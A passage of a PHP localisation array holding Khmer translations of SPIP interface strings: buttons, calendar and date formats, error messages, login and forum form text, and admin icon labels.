'admin_recalculer' => 'កំណត់ឡើងវិញ ទំព័រនេះ',
'afficher_trad' => 'បង្ហាញចេញ បំរែសំរួល',
'alerte_maj_impossible' => '<b>ព្រមាន!</b> គ្មានអាច បន្ទាន់សម័យ មូលដ្ឋានទិន្នន័យ SQL ទៅ កំណែ @version@, ប្រហែល បណ្តាលពី បញ្ហាសិទ្ធិផ្លាស់ប្តូរ លើមូលដ្ឋានទិន្នន័យ។ សូមទាក់ទង ខំព្យូរើផ្តល់ទីស្នាក់សៃថ៍ របស់អ្នក។',
'alerte_modif_info_concourante' => 'ប្រយត្ន៖ ពត៌មាននេះ ត្រូវបានផ្លាស់ប្តូរ ដោយទីដទៃ។ តំលៃបច្ចុប្បន្ន ជា ៖',
'analyse_xml' => 'ការវិភាគ អក្សរកូដ XML',
'annuler' => 'បោះបង់',
'antispam_champ_vide' => 'សូមទុក វាលនេះ នៅទំនេរ ៖',
'articles_recents' => 'អត្ថបទថ្មីៗ បំផុត',
'avis_archive_incorrect' => 'ឯកសារ ជាបណ្ណសារ មិនជាឯកសារ SPIP',
'avis_archive_invalide' => 'ឯកសារ ជាបណ្ណសារ គ្មានសុពលភាព',
'avis_attention' => 'ប្រយ័ត្ន !',
'avis_champ_incorrect_type_objet' => 'ឈ្មោះវាល មិនត្រឹមត្រូវ @name@ ចំពោះ គោលដៅ ប្រភេទ @type@',
'avis_colonne_inexistante' => 'គ្មានជួរឈរ @col@',
'avis_erreur' => 'កំហុស ៖ មើល ខាងក្រោម',
'avis_erreur_connexion' => 'កំហុស បញ្ជាប់',
'avis_erreur_cookie' => 'បញ្ហា ខូកឃី',
'avis_erreur_fonction_contexte' => 'កំហុស សរសេរកម្មវិធី។ មុខងារនេះ មិនត្រូវបានហៅក្នុងបរិបទនេះ។',
'avis_erreur_mysql' => 'កំហុស SQL',
'avis_erreur_sauvegarde' => 'កំហុស រក្សាច្បាប់ចំលង (@type@ @id_objet@)!',
'avis_erreur_visiteur' => 'បញ្ហា ចូលទៅតំបន់ឯកជន',
// B
'barre_a_accent_grave' => 'បញ្ចូល អក្សរ A ធំ មានសញ្ញា ` ពីលើ',
'barre_aide' => 'ប្រើប្រាស់ ផ្លូវកាត់រៀបអក្សរ ដើម្បីកែលំអ តំរៀបចំទំព័រ របស់អ្នក',
'barre_e_accent_aigu' => 'បញ្ចូល អក្សរ E ធំ មានសញ្ញា ’ ពីលើ',
'barre_eo' => 'បញ្ចូល អក្សរ E ក្នុង O (មានរាង oe)',
'barre_eo_maj' => 'បញ្ចូល អក្សរ E ធំ ក្នុង O (មានរាង OE)',
'barre_euro' => 'បញ្ចូល និមិត្តសញ្ញា €',
'barre_gras' => 'ដាក់ជា អក្សរ {{ដិត}}',
'barre_guillemets' => 'ដាក់ជា ម្ជុលបើកបិទ « »',
'barre_guillemets_simples' => 'ដាក់ជា ម្ជុលបើកបិទ កំរិត ២ ',
'barre_intertitre' => 'បំលែង ជា {{{អន្តរចំណងជើង}}}',
'barre_italic' => 'ដាក់ជា {អក្សរ ទ្រេត}',
'barre_lien' => 'បំលែង ជា [តំណភ្ជាប់ អិនរើណែត → http://...]',
'barre_lien_input' => 'សូមបង្ហាញ អាសយដ្ឋាន នៃតំណភ្ជាប់ របស់អ្នក (អ្នកអាចបង្ហាញ មួយអាសយដ្ឋាន អិនរើណែត ជារាងរៅ http://www.mysite.com ឬ បង្ហាញ យ៉ាងសាមញ្ញ លេខសំគាល់អត្ថបទ នៃ សៃថ៍នេះ។',
'barre_note' => 'បំលែង ជា [[កំណត់ចំណាំ នៅបាតទំព័រ]]',
'barre_paragraphe' => 'បង្កើត មួយកថាខណ្ឌ',
'barre_quote' => 'បរិយាយ មួយសារ </quote>', # MODIF
'bouton_changer' => 'ផ្លាស់ប្តូរ',
'bouton_chercher' => 'ស្វែងរក',
'bouton_choisir' => 'ជ្រើសរើស',
'bouton_download' => 'ទាញយក', # MODIF
'bouton_enregistrer' => 'រក្សាទុក',
'bouton_radio_desactiver_messagerie_interne' => 'អសកម្មភាព បញ្ញើសារ ខាងក្នុង',
'bouton_radio_envoi_annonces' => 'ផ្ញើ ជំនូនដំណឹង នៃអ្នកបោះពុម្ភផ្សាយ',
'bouton_radio_non_envoi_annonces' => 'មិនត្រូវផ្ញើ ជំនូនដំណឹង',
'bouton_radio_non_envoi_liste_nouveautes' => 'មិនត្រូវផ្ញើ បញ្ជី នៃភាពប្លែក',
'bouton_recharger_page' => 'ផ្ទុកឡើងវិញ ទំព័រនេះ',
'bouton_telecharger' => 'ទាញយក',
'bouton_upload' => 'ទាញយក', # MODIF
'bouton_valider' => 'ធ្វើអោយមាន សុពលភាព',
// C
'cal_apresmidi' => 'ល្ងាច (p.m.)',
'cal_jour_entier' => 'ពេញ មួយថៃ្ង',
'cal_matin' => 'ព្រឹក (a.m.)',
'cal_par_jour' => 'ប្រក្រតីទិន ប្រចាំថៃ្ង',
'cal_par_mois' => 'ប្រក្រតីទិន ប្រចាំខែ',
'cal_par_semaine' => 'ប្រក្រតីទិន ប្រចាំសប្ដាហ៍',
'choix_couleur_interface' => 'ពណ៌',
'choix_interface' => 'ជំរើស ផ្ទាំងប្រទាក់',
'colonne' => 'ជួរឈរ',
'confirm_changer_statut' => 'ប្រយ័ត្ន, អ្នកបាន សួររកផ្លាស់ប្ដូរ ស្ថានភាព នៃធាតុនេះ ។ អ្នកចង់ បន្ដ ឬ?',
'correcte' => 'ត្រឹមត្រូវ',
// D
'date_aujourdhui' => 'ថ្ងៃនេះ',
'date_avant_jc' => 'មុន គ.ស.',
'date_dans' => 'ក្នុង @delai@',
'date_de_mois_1' => '@j@ @nommois@',
'date_de_mois_10' => '@j@ @nommois@',
'date_de_mois_11' => '@j@ @nommois@',
'date_de_mois_12' => '@j@ @nommois@',
'date_de_mois_2' => '@j@ @nommois@',
'date_de_mois_3' => '@j@ @nommois@',
'date_de_mois_4' => '@j@ @nommois@',
'date_de_mois_5' => '@j@ @nommois@',
'date_de_mois_6' => '@j@ @nommois@',
'date_de_mois_7' => '@j@ @nommois@',
'date_de_mois_8' => '@j@ @nommois@',
'date_de_mois_9' => '@j@ @nommois@',
'date_demain' => 'ស្អែក',
'date_fmt_heures_minutes' => '@h@:@m@',
'date_fmt_jour_heure' => '@jour@ វេលា @heure@',
'date_fmt_jour_mois' => '@jour@ @nommois@',
'date_fmt_jour_mois_annee' => '@jourmois@ @annee@',
'date_fmt_mois_annee' => '@nommois@ @annee@',
'date_fmt_nomjour_date' => 'ថ្ងៃ @nomjour@ @date@',
'date_heures' => 'ម៉ោង',
'date_hier' => 'ម្សិលមិញ',
'date_il_y_a' => 'មាន @delai@',
'date_jnum1' => 'ទី ១',
'date_jnum10' => '10',
'date_jnum11' => '11',
'date_jnum12' => '12',
'date_jnum13' => '13',
'date_jnum14' => '14',
'date_jnum15' => '15',
'date_jnum16' => '16',
'date_jnum17' => '17',
'date_jnum18' => '18',
'date_jnum19' => '19',
'date_jnum2' => '2',
'date_jnum20' => '20',
'date_jnum21' => '21',
'date_jnum22' => '22',
'date_jnum23' => '23',
'date_jnum24' => '24',
'date_jnum25' => '25',
'date_jnum26' => '26',
'date_jnum27' => '27',
'date_jnum28' => '28',
'date_jnum29' => '29',
'date_jnum3' => '3',
'date_jnum30' => '30',
'date_jnum31' => '31',
'date_jnum4' => '4',
'date_jnum5' => '5',
'date_jnum6' => '6',
'date_jnum7' => '7',
'date_jnum8' => '8',
'date_jnum9' => '9',
'date_jour_1' => 'ថ្ងៃអាទិត្យ',
'date_jour_1_abbr' => 'អាទិ.',
'date_jour_1_initiale' => 'អាទិ.',
'date_jour_2' => 'ថ្ងៃចន្ទ',
'date_jour_2_abbr' => 'ច.',
'date_jour_2_initiale' => 'ច.',
'date_jour_3' => 'ថ្ងៃអង្គារ',
'date_jour_3_abbr' => 'អ.',
'date_jour_3_initiale' => 'អ.',
'date_jour_4' => 'ថ្ងៃពុធ',
'date_jour_4_abbr' => 'ព.',
'date_jour_4_initiale' => 'ព.',
'date_jour_5' => 'ថ្ងៃព្រហស្បតិ៍',
'date_jour_5_abbr' => 'ព្រ.',
'date_jour_5_initiale' => 'ព្រ.',
'date_jour_6' => 'ថ្ងៃសុក្រ',
'date_jour_6_abbr' => 'សុ.',
'date_jour_6_initiale' => 'សុ.',
'date_jour_7' => 'ថ្ងៃសៅរ៍',
'date_jour_7_abbr' => 'សៅ.',
'date_jour_7_initiale' => 'សៅ.',
'date_jours' => 'ថៃ្ង',
'date_minutes' => 'នាទី',
'date_mois' => 'ខែ',
'date_mois_1' => 'ខែ មករា',
'date_mois_10' => 'ខែ តុលា',
'date_mois_11' => 'ខែ វិច្ឆិកា',
'date_mois_12' => 'ខែ ធ្នូ',
'date_mois_2' => 'ខែ កុម្ភៈ',
'date_mois_3' => 'ខែ មីនា',
'date_mois_4' => 'ខែ មេសា',
'date_mois_5' => 'ខែ ឧសភា',
'date_mois_6' => 'ខែ មិថុនា',
'date_mois_7' => 'ខែ កក្កដា',
'date_mois_8' => 'ខែ សីហា',
'date_mois_9' => 'ខែ កញ្ញា',
'date_saison_1' => 'រដូវ រងា',
'date_saison_2' => 'រដូវ ផ្ការីក',
'date_saison_3' => 'រដូវ ក្ដៅ',
'date_saison_4' => 'រដូវ ស្លឹកឈើជ្រុះ',
'date_secondes' => 'វិនាទី',
'date_semaines' => 'សប្ដាហ៍',
'date_un_mois' => 'ខែ',
'date_une_heure' => 'ម៉ោង',
'date_une_minute' => 'នាទី',
'date_une_seconde' => 'វិនាទី',
'date_une_semaine' => 'សប្តាហ៍',
'dirs_commencer' => ' ដើម្បី ផ្ដើមពិតប្រាកដ ការតំលើង',
'dirs_preliminaire' => 'ជំហានដំបូង ៖ <b> តំរែតំរូវ សិទ្ធិចូលទៅ</b>',
'dirs_probleme_droits' => 'បញ្ហា សិទ្ធិចូលទៅ',
'dirs_repertoires_absents' => '<p><b> គ្មានរកឃើញ ថតឯកសារ ខាងក្រោម៖ </b></p><ul>@bad_dirs@.</ul> <p> វាអាច មកពី បញ្ហា ដាក់តួអក្សរធំ ឬ ដាក់តួអក្សរតូច មិនសមស្រប អោយឈ្មោះថតឯកសារ។
សូមផ្ទៀងផ្ទាត់តួអក្សរតូច និង តួអក្សរធំ នៃថតឯកសារទាំងនេះ អោយត្រូវតាម អ្វីដែលត្រូវបាន បង្ហាញចេញ។
ខាងលើនេះ, បើមិនជាករណីនោះទេ, សូមប្ដូរឡើងវិញ ឈ្មោះថតឯកសារ ជាមួយផ្នែកទន់ នៃ FTP របស់អ្នក ដើម្បីកែតំរូវកំហុស </p>
<p> ពេលកែរួចរាល់, អ្នកនឹងអាច',
'dirs_repertoires_suivants' => '<p><b> គ្មានអាចប្តូរឈ្មោះ ថតឯកសារខាងក្រោម៖ </b></p><ul>@bad_dirs@</ul><p>
ដើម្បីសង្គ្រោះវា, សូមប្រើប្រាស់ ខំព្យូរើភ្ញៀវ FTP របស់អ្នក ដើម្បីតំរែតំរូវ សិទ្ធិចូលទៅ មួយ នៃ ថតឯកសារ ទាំងនេះ។ បានពន្យល់លំអិត លំដាប់លំដោយ អនុវត្ត ក្នុងឯកសារណែនាំ វិធីតំលើង៖ </p>
<p> ពេល រួចរាល់ទង្វើនេះ, អ្នកអាច',
'double_occurrence' => 'ព្រឹត្តិការផ្ទួន នៃ @balise@',
// E
'en_cours' => 'កំពុងធ្វើការ',
'envoi_via_le_site' => 'បញ្ញើ តាមវ៉ែបសៃថ៍',
'erreur' => 'កំហុស ៖',
'erreur_balise_non_fermee' => 'មិនបានដាក់ ប្លាកបិទ៖',
'erreur_texte' => 'កំហុស',
'etape' => 'ដំណាក់',
// F
'fichier_introuvable' => 'គ្មានរកឃើញ សំណុំឯកសារ ៖ @fichier@',
'form_deja_inscrit' => 'អ្នកធ្លាប់បានហើយ ចុះឈ្មោះ។',
'form_email_non_valide' => 'អាសយដ្ឋានអ៊ីមែវល៍ របស់អ្នក គ្មានសុពលភាព។',
'form_forum_access_refuse' => 'អ្នកគ្មានទៀត ចូលទៅសៃថ៍ នេះ ។',
'form_forum_bonjour' => 'សួស្តី @nom@,',
'form_forum_email_deja_enregistre' => 'អាសយដ្ឋានអ៊ីមែវល៍នេះ ធ្លាប់ត្រូវបានចុះឈ្មោះ, ដូច្នោះ អ្នកអាចប្រើប្រាស់ ពាក្យសំងាត់ របស់អ្នក តាមទំលាប់។',
'form_forum_identifiant_mail' => 'អត្តសញ្ញាថ្មី របស់អ្នក ទើបតែត្រូវបាន ផ្ញើទៅអ្នក តាម អ៊ីមែវល៍។',
'form_forum_identifiants' => 'អត្តសញ្ញាផ្ទាល់ខ្លួន',
'form_forum_indiquer_nom_email' => 'បង្ហាញនៅទីនេះ ឈ្មោះ និងអាសយដ្ឋានអ៊ីមែវល៍ របស់អ្នក។ អត្តសញ្ញាផ្ទាល់ខ្លួន របស់អ្នក នឹងទៅដល់អ្នក យ៉ាងរហ័ស តាមអ៊ីមែវល៍។',
'form_forum_login' => 'ពិនិត្យចូល៖',
'form_forum_message_auto' => '(នេះ ជា មួយសារស្វ័យប្រវត្ដិ)',
'form_forum_pass' => 'ពាក្យសំងាត់៖',
'form_forum_probleme_mail' => 'បញ្ហាមែវល៍ ៖ មិនបាផ្ញើ អត្តសញ្ញា្។',
'form_forum_voici1' => 'នេះជា អត្តសញ្ញា របស់អ្នក ដើម្បីអាចចូលរួម ទៅអាយុកាល នៃវ៉ែបសៃថ៍ "@nom_site_spip@" (@adresse_site@)៖',
'form_forum_voici2' => 'នេះជា អត្តសញ្ញា របស់អ្នក ដើម្បីស្នើអត្ថបទ លើវ៉ែបសៃថ៍ "@nom_site_spip@" (@adresse_login@)៖',
'form_indiquer_email' => 'សូមបង្ហាញ អាសយដ្ឋានអ៊ីមែវល៍ របស់អ្នក។',
'form_indiquer_nom' => 'សូមបង្ហាញឈ្មោះ របស់អ្នក។',
'form_indiquer_nom_site' => 'សូមបង្ហាញឈ្មោះវ៉ែបសៃថ៍ របស់អ្នក។',
'form_pet_deja_enregistre' => 'វ៉ែបសៃថ៍នេះ ធ្លាប់ត្រូវបានចុះបញ្ជី។',
'form_pet_signature_pasprise' => 'ហត្ថលេខា របស់អ្នក ត្រូវបានបដិសេធ ។',
'form_prop_confirmer_envoi' => 'បញ្ជាក់ទទួលស្គាល់ បញ្ញើ',
'form_prop_description' => 'ការពិពណ៌នា/វិចារ',
'form_prop_enregistre' => 'បានចុះបញ្ជី សំណើរ របស់អ្នក, វានឹងលេចចេញ លើអិនរើណែត បន្ទាប់ពីមានសុពលភាព ដោយអ្នកអភិបាលវ៉ែបសៃថ៍នេះ។',
'form_prop_envoyer' => 'ផ្ញើ មួយសារ',
'form_prop_indiquer_email' => 'សូមបញ្ចូល មួយអាសយដ្ឋានអ៊ីមែវល៍ ដែលមានសុពលភាព ។',
'form_prop_indiquer_nom_site' => 'សូមបញ្ចូលឈ្មោះ របស់វ៉ែបសៃថ៍។',
'form_prop_indiquer_sujet' => 'សូមបញ្ចូល មួយប្រធានបទ',
'form_prop_message_envoye' => 'បានផ្ញើ សារ',
'form_prop_non_enregistre' => 'គ្មានបានចុះបញ្ជី សំណើ របស់អ្នក។',
'form_prop_sujet' => 'ប្រធានបទ',
'form_prop_url_site' => 'អាសយដ្ឋាន URL នៃវ៉ែបសៃថ៍', # MODIF
'forum_non_inscrit' => 'អ្នកគ្មានបានចុះឈ្មោះ, ឬ អាសយដ្ឋាន ឬ ពាក្យសំងាត់ ខុស។',
'forum_par_auteur' => 'ដោយ @auteur@',
'forum_titre_erreur' => 'កំហុស...',
// I
'ical_texte_rss_articles' => 'ថតឯកសារ "ចុងទំព័រ" នៃអត្ថបទ របស់សៃថ៍នេះ ថិតនៅ អាសយដ្ឋាន៖',
'ical_texte_rss_articles2' => 'អ្នកក៏អាច ទទួលបានឯកសារ "ចុងទំព័រ" សំរាប់អត្ថបទ នៃមាតិកានីមួយៗ របសវ៉ែបសៃថ៍៖',
'ical_texte_rss_breves' => 'លើសពីហ្នឹង, វាមាន មួយឯកសារ ដែលមានផ្ទុកសង្ខេបពត៌មាន របស់វ៉ែបសៃថ៍។ ដោយបញ្ជាក់លេខសំគាល់ នៃមាតិកា, អ្នកនឹងទទួលបាន ត្រឹមសង្ខេបនានា នៃមាតិកានេះ។',
'icone_a_suivre' => 'នៅមាន បន្ត',
'icone_admin_site' => 'អ្នកអភិបាលសៃថ៍',
'icone_agenda' => 'សៀវភៅកត់ត្រា',
'icone_aide_ligne' => 'ជំនួយ',
'icone_articles' => 'អត្ថបទ',
'icone_auteurs' => 'អ្នកនិពន្ធ',
'icone_brouteur' => 'ការត្រាច់រក រហ័ស',
'icone_configuration_site' => 'ការកំណត់ទំរង់',
'icone_configurer_site' => 'ការកំណត់ទំរង់ វ៉ែបសៃថ៍ របស់អ្នក',
'icone_creer_nouvel_auteur' => 'បង្កើត មួយអ្នកនិពន្ធថ្មី',
'icone_creer_rubrique' => 'បង្កើត មួយមាតិកា',
'icone_creer_sous_rubrique' => 'បង្កើត មួយអនុមាតិកា',
'icone_deconnecter' => 'ពិនិត្យចេញ',
'icone_discussions' => 'ការពិភាក្សា',
'icone_doc_rubrique' => 'ឯកសារ នៃមាតិកា',
'icone_ecrire_article' => 'សរសេរ មួយអត្ថបទថ្មី',
'icone_edition_site' => 'កំណែសំរួល',
'icone_gestion_langues' => 'ការគ្រប់គ្រង ភាសា',
'icone_informations_personnelles' => 'ពត៌មានផ្ទាល់ខ្លួន',
'icone_interface_complet' => 'ផ្ទាំងប្រទាក់ ពេញ',
'icone_interface_simple' => 'ផ្ទាំងប្រទាក់ ត្រូវបានសាមញ',
'icone_maintenance_site' => 'តំហែទាំវ៉ែបសៃថ៍',
'icone_messagerie_personnelle' => 'បញ្ញើសារផ្ទាល់ខ្លួន',
'icone_repartition_debut' => 'បង្ហាញ បំណែងចែក ពីដំបូង',
'icone_rubriques' => 'មាតិកា',
'icone_sauver_site' => 'កាបង្កើត ច្បាប់ចំលង នៃវ៉ែបសៃថ៍',
'icone_site_entier' => 'វ៉ែបសៃថ៍ ទាំងមូល',
'icone_sites_references' => 'វ៉ែបសៃថ៍ យោង',
'icone_statistiques' => 'ស្ថិតិវ៉ែបសៃថ៍',
'icone_suivi_activite' => 'តាមដាន អាយុកាល នៃវ៉ែបសៃថ៍',
'icone_suivi_actualite' => 'ការវិវត្ត នៃវ៉ែបសៃថ៍',
'icone_suivi_pettions' => 'តាមដាន/គ្រប់គ្រង បណ្តឹងជំទាស់',
'icone_suivi_revisions' => 'កំណែប្រែ នៃអត្ថបទ',
'icone_supprimer_document' => 'លុបចេញ ឯកសារនេះ',
'icone_supprimer_image' => 'លុបចេញ រូបភាពនេះ',
'icone_tous_articles' => 'គ្រប់អត្ថបទ របស់អ្នក',
'icone_tous_auteur' => 'គ្រប់ អ្នកនិពន្ធ',
'icone_visiter_site' => 'ទស្សនា', # MODIF
'icone_voir_en_ligne' => 'មើល លើអិនរើណែត',
'img_indisponible' => 'គ្មានរូបភាព',
'impossible' => 'មិនអាចទៅរួច',
'info_a_suivre' => 'នៅមាន បន្ត →',
'info_acces_interdit' => 'ការចូលទៅ ត្រូវបានហាម',
'info_acces_refuse' => 'ការចូលទៅ ត្រូវបានបដិសេធ',
'info_action' => 'សកម្មភាព ៖ @action@',
'info_administrer_rubriques' => 'អ្នកអាច អភិបាល មាតិកានេះ និង មាតិការង របស់វា',
'info_adresse_non_indiquee' => 'អ្នកមិនបានបង្ហាញ អាសយដ្ឋាន ត្រូវសាកល្បង !',
'info_aide' => 'ជំនួយ ៖',
'info_ajouter_mot' => 'បន្ថែម មួយពាក្យនេះ',
'info_annonce' => 'សេចក្ដីប្រកាស',
'info_annonces_generales' => 'ការប្រកាសដំណឹង ទូទៅ ៖',
'info_article_propose' => 'អត្ថបទ ត្រូវបានដាក់ស្នើ',
'info_article_publie' => 'បានផ្សព្វផ្សាយ អត្ថបទ',
'info_article_redaction' => 'អត្ថបទ កំពុង ក្នុងការតែង',
'info_article_refuse' => 'អត្ថបទ ត្រូវបានបដិសេធ',
'info_article_supprime' => 'អត្ថបទ ត្រូវបានលុបចេញ',
'info_articles' => 'អត្ថបទ',
'info_articles_a_valider' => 'អត្ថបទ ត្រូវធ្វើអោយសុពលភាព',
'info_articles_proposes' => 'អត្ថបទ ត្រូវបានស្នើ',
'info_auteurs_nombre' => 'អ្នកនិពន្ធ ៖',
'info_authentification_ftp' => 'ធ្វើអោយត្រឹមត្រូវ តាមភាពដើម (ដោយ FTP)។',
'info_breves_2' => 'ពត៌មានសង្ខេប',
'info_connexion_refusee' => 'បញ្ជាប់ ត្រូវបានបដិសេធ',
'info_contact_developpeur' => 'ទាក់ទង អ្នកអភិវឌ្ឍ។',
'info_contenance' => 'វ៉ែបសៃថ៍ នេះមានផ្ទុក ៖',
'info_contribution' => 'ការរួមចំណែក នៃវេទិកា', # MODIF
'info_copyright' => '@spip@ ជាផ្នែកទន់សេរី ត្រូវបានបែងចែក ដោយ @lien_gpl@។',
'info_copyright_doc' => 'សំរាប់ ពត៌មានបន្ថែម, មើលសៃថ៍ <a href="@spipnet@">http://www.spip.net/en</a>។', # MODIF
'info_copyright_gpl' => 'តាមអាជ្ញាបណ្ណ GPL',
'info_cours_edition' => 'អត្ថបទ របស់អ្នក កំពុង ត្រូវតែង',
'info_creer_repertoire' => 'សូមបង្កើត មួយឯកសារ ឬ មួយបញ្ជីរាយនាម ដែលបានដាក់ឈ្មោះ៖',
'info_creer_repertoire_2' => 'ខាងក្នុងបញ្ជីរាយនាមរង <b>@repertoire@</b>, រួច៖',
'info_creer_vignette' => 'ការបង្កើតស្វ័យប្រវត្ដិ នៃគំនូសព្រាង',
'info_deplier' => 'លាចេញ',
'info_descriptif_nombre' => 'ជា ការពិពណ៌នា៖',
'info_description' => 'ការពិពណ៌នា ៖',
'info_description_2' => 'ការពិពណ៌នា ៖',
'info_dimension' => 'ខ្នាត ៖',
'info_ecire_message_prive' => 'សរសេរ សារឯកជន',
'info_email_invalide' => 'អាសយដ្ឋានអ៊ីមែវល៍ គ្មានសុពលភាព។',
'info_en_cours_validation' => 'អត្ថបទ របស់អ្នក កំពុង ត្រូវបានតែង',
'info_en_ligne' => 'បច្ចុប្បន្ន កំពុងលើអិនរើណែត ៖',
'info_envoyer_message_prive' => 'ផ្ញើ មួយសារឯកជន ទៅអ្នកនិពន្ធនេះ',
'info_erreur_requete' => 'កំហុស ក្នុងសំណួរអង្កេត៖',
'info_erreur_squelette2' => 'គ្មានគំរូ <b>@fichier@</b> ទំនេរ...',
'info_erreur_systeme' => 'កំហុសប្រព័ន្ធ (errno @errsys@)',
'info_erreur_systeme2' => 'ថាសរឹង (hard disk) ប្រហែលជាពេញ ឬ មូលដ្ឋានទិន្នន័យខូច ។ <br />
<span style="color:red;">ព្យាយាម <a href=\'@script@\'>ជួសជុលឃ្លាំងទិន្នន័យ </a>, ឬទាក់ទងអ្នកផ្ដល់សេវាកម្ម របស់អ្នក ។ </span>',
'info_fini' => 'រួចរាល់ !',
'info_format_image' => 'ទំរង់រូបភាព អាចត្រូវបានប្រើប្រាស់ សំរាប់ការបង្កើតកូនរូបភាព ៖ @gd_formats@។',
'info_format_non_defini' => 'ទ្រង់ទ្រាយ គ្មានបានកំណត់',
'info_grand_ecran' => 'បង្ហាញស្គ្រីនធំ',
'info_image_aide' => 'ជំនួយ',
'info_image_process_titre' => 'វិធីបង្កើត កូនរូបភាព',
'info_impossible_lire_page' => '<b>កំហុស!</b> គ្មានអាចអានទំព័រ<tt><html>@test_proxy@</html></tt> តាមខំព្យូរើបំរើសេវា Proxy',
'info_installation_systeme_publication' => 'ការតំលើង ប្រព័ន្ធផ្សព្វផ្សាយ...',
'info_installer_documents' => 'អ្នកអាចតំលើង ស្វ័យប្រវត្ដិ គ្រប់ឯកសារ ដែលមានផ្ទុក ក្នុងថតឯកសារ@upload@។',
'info_installer_ftp' => 'ក្នុងនាមជា អ្នកអភិបាល, អ្នកអាចតំលើង (តាមខំព្យូរើបំរើសេវា FTP) សំណុំឯកសារ ក្នុងថតឯកសារ @upload@ ដើម្បីបន្ត ជ្រើសយកដោយផ្ទាល់ ពួកវា នៅទីនេះ។',
'info_installer_images' => 'អ្នកអាចតំលើង រូបភាព មានទ្រង់ទ្រាយ .JPEG, .GIF និង .PNG។',
'info_installer_images_dossier' => 'តំលើងរូបភាព ក្នុងថតឯកសារ @upload@ ដើម្បីអាចជ្រើសយកពួកវា នៅទីនេះ។',
'info_interface_complete' => 'ផ្ទាំងប្រទាក់ ពេញលេញ',
'info_interface_simple' => 'ផ្ទាំងប្រទាក់ ត្រូវបានសាមញ្ញ',
'info_joindre_document_article' => 'អ្នកអាចភ្ជាប់ ទៅអត្ថបទនេះ ឯកសារប្រភេទ',
'info_joindre_document_rubrique' => 'អ្នកអាចបន្ថែម ក្នុងមាតិកានេះ ឯកសារប្រភេទ',
'info_joindre_documents_article' => 'អ្នកអាចភ្ជាប់ ទៅអត្ថបទនេះ ឯកសារប្រភេទ ៖',
'info_l_article' => 'អត្ថបទ',
'info_la_breve' => 'ពត៌មានសង្ខេប',
'info_la_rubrique' => 'មាតិកា',
'info_langue_principale' => 'ភាសាបថម នៃវ៉ែបសៃថ៍',
'info_largeur_vignette' => '@largeur_vignette@ × @hauteur_vignette@ pixels',
'info_les_auteurs_1' => 'ដោយ @les_auteurs@',
'info_logo_format_interdit' => 'អនុញ្ញ្តាតិ ត្រឹមតែរូបសញ្ញា មានទ្រង់ទ្រាយ @formats@ ។',
'info_logo_max_poids' => 'រូបសញ្ញា ត្រូវតែតិចជាង @maxi@ (សំណុំឯកសារនេះមាន @actuel@)។',
'info_mail_fournisseur' => 'you@isp.com',
'info_message_2' => 'សារ',
'info_message_supprime' => 'បានលុបចេញ សារ',
'info_mise_en_ligne' => 'ថ្ងៃខែឆ្នាំ បានផ្សព្វផ្សាយ លើអិនរើណែត ៖',
'info_modification_parametres_securite' => 'កែប្រែ ការកំណត់សុវត្ថភាព',
'info_mois_courant' => 'ក្នុងអំឡុង នៃខែ ៖',
'info_mot_cle_ajoute' => 'បានបន្ថែម ពាក្យគន្លឹះ ខាងក្រោម ទៅ',
'info_multi_herit' => 'ភាសា លំនាំដើម',
'info_multi_langues_soulignees' => '<u>ភាសា ដែលបានគូរបន្ទាត់ក្រោម</u> ទទួលបានបំណកប្រែ គ្រប់អត្ថបទ នៃផ្ទាំងប្រទាក់។ បើអ្នកជ្រើសយក ភាសាទាំងនេះ, មានច្រើនធាតុ នៃសៃថ៍សាធារណះ (ថ្ងៃខែឆ្នាំ, បែបបទ) នឹងត្រូវបានប្រែសំរួលស្វ័យប្រវត្ដិ ។ ចំពោះភាសា គ្មានគូសបន្ទាត់ក្រោម, ធាតុទាំងនោះ នឹងលេចចេញជាភាសាលំនាំដើម នៃសៃថ៍។', # MODIF
'info_multilinguisme' => 'ពហុភាសា',
'info_nom_non_utilisateurs_connectes' => 'ឈ្មោះរបស់អ្នក មិនលេចចេញ ក្នុងបញ្ជីអ្នកប្រើប្រាស់ ដែលបានភ្ជាប់ ។',
'info_nom_utilisateurs_connectes' => 'ឈ្មោះរបស់អ្នក លេចចេញ ក្នុងបញ្ជីអ្នកប្រើប្រាស់ដែលបានភ្ជាប់។',
'info_nombre_en_ligne' => 'បច្ចុប្បន្ន កំពុងលើអិនរើណែត ៖',
'info_non_resultat' => 'គ្មានលទ្ធផល សំរាប់ "@cherche_mot@"',
'info_non_utilisation_messagerie' => 'អ្នកមិនប្រើប្រាស់ បញ្ញើសារ ខាងក្នុងវ៉ែបសៃថ៍ នេះ។',
'info_nouveau_message' => 'អ្នកមាន មួយសារថ្មី',
'info_nouveaux_messages' => 'អ្នកមាន @total_messages@ សារថ្មី',
'info_numero_abbreviation' => 'លេខ ',
'info_obligatoire' => 'ពត៌មាននេះ តំរូវអោយមាន',
'info_pense_bete' => 'រំលឹក',
'info_petit_ecran' => 'កូនស្គ្រីន',
'info_petition_close' => 'បិទ បណ្តឹងជំទាស់',
'info_pixels' => 'ធាតុរូបភព',
'info_plusieurs_mots_trouves' => 'បានរកឃើញ ច្រើនពាក្យគន្លឹះ សំរាប់ \\"@cherche_mot@\\":',
'info_portfolio_automatique' => 'ផលប័ត្រស្វ័យប្រវត្ដិ',
'info_premier_resultat' => '[@debut_limit@លទ្ធិផលដំបូង លើ @total@]',
'info_premier_resultat_sur' => '[@debut_limit@ លទ្ធិផលដំបូង លើ @total@]',
'info_propose_1' => '[@nom_site_spip@] ស្នើ៖ @titre@',
'info_propose_2' => 'អត្ថបទ ដែលត្រូវបានស្នើ------------------',
'info_propose_3' => 'បានស្នើ អត្ថបទ "@titre@" សំរាប់ការផ្សព្វផ្សាយ។',
'info_propose_4' => 'អ្នកត្រូវបានអញ្ជើញ មកពិនិត្យឡើងវិញ វា និង មកផ្ដល់មតិ របស់អ្នក',
'info_propose_5' => 'ក្នុងវេទិកា បានភ្ជាប់ជាមួយវា។ វាមានស្រាប់ នៅអាសយដ្ឋាន ៖',
'info_publie_01' => 'បានធ្វើអោយសុពលភាព អត្ថបទ "@titre@" ត្រូវដោយ @connect_nom@។',
'info_publie_1' => '[@nom_site_spip@] បានផ្សព្វផ្សាយ: @titre@',
'info_publie_2' => 'អត្ថបទ ត្រូវបានផ្សព្វផ្សាយ
',
'info_rechercher' => 'ស្វែងរក',
'info_rechercher_02' => 'ស្វែងរក ៖',
'info_remplacer_vignette' => 'ជំនួស កូនរូបភាព លំនាំដើម ដោយរូបសញ្ញា ដែលបានបង្កើតខ្លួនឯង ៖',
'info_sans_titre_2' => 'គ្មានចំណងជើង',
